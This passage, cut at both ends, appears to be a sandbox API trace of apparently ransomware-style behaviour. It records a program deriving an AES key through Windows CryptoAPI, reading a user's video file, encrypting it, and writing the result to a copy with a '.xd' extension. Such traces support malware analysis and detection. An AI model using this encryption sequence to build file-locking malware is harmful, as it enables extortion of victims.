lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.527] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.527] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0067.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621780, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0067.527] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0067.527] CryptHashData (hHash=0x164c770, pbData=0x1629660, dwDataLen=0x3, dwFlags=0x1) returned 1 [0067.528] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.528] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.528] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.528] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.528] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.528] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.528] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.528] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0067.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16217c8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0067.528] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0067.528] CryptDeriveKey (in: hProv=0x17aa670, Algid=0x6610, hBaseData=0x164c770, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c9b0) returned 1 [0067.528] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.528] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.528] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.528] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.528] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.529] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.529] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0067.529] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0067.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0067.529] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0067.529] CryptDestroyHash (hHash=0x164c770) returned 1 [0067.529] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.529] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.529] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.529] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.529] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.529] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\gwl3xrfneh.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0067.530] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.530] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0067.530] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.530] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.530] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.530] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly")) returned 0x10 [0067.530] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\gwl3xrfneh.avi.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0067.530] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.530] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.531] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.531] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.532] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0067.532] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0067.534] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x7799, lpOverlapped=0x0) returned 1 [0067.534] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0067.538] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.538] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.538] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.538] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0067.539] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.539] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.539] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0067.539] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.539] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0067.539] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.539] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.539] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.539] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0067.540] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0067.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0067.540] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0067.540] CryptGetKeyParam (in: hKey=0x164c9b0, dwParam=0x7, pbData=0x1629570, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629570*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0067.540] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.540] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.540] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.540] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.540] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.540] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.540] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.540] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.540] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.541] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.541] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.541] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.541] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.541] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.541] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.541] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.541] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.541] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.541] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.541] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.541] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.541] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.541] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.541] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.542] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0067.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621810, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0067.543] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0067.543] CryptEncrypt (in: hKey=0x164c9b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x17799, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x177a0) returned 1 [0067.543] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.543] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.543] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.543] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.543] CharLowerBuffW (in: lpsz="byte[96161]", cchLength=0xb | out: lpsz="byte[96161]") returned 0xb [0067.543] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.545] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.545] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.545] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.545] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0067.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621948, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0067.545] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0067.545] CryptEncrypt (in: hKey=0x164c9b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e82c0*, pdwDataLen=0x130e618*=0x17799, dwBufLen=0x177a0 | out: pbData=0x17e82c0*, pdwDataLen=0x130e618*=0x177a0) returned 1 [0067.545] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.546] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.546] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.546] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.546] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.546] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.546] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.546] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.546] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.546] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.546] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.546] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.546] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.546] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.546] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.546] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.546] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.555] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.555] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.556] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.556] WriteFile (in: hFile=0x3bc, lpBuffer=0x18947b8*, nNumberOfBytesToWrite=0x177a0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x18947b8*, lpNumberOfBytesWritten=0x130f01c*=0x177a0, lpOverlapped=0x0) returned 1 [0067.558] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.558] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.558] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0067.559] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.559] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.559] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0067.559] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0067.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16214b0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0067.559] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0067.559] CryptDestroyKey (hKey=0x164c9b0) returned 1 [0067.559] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.559] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.559] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.559] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.559] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", 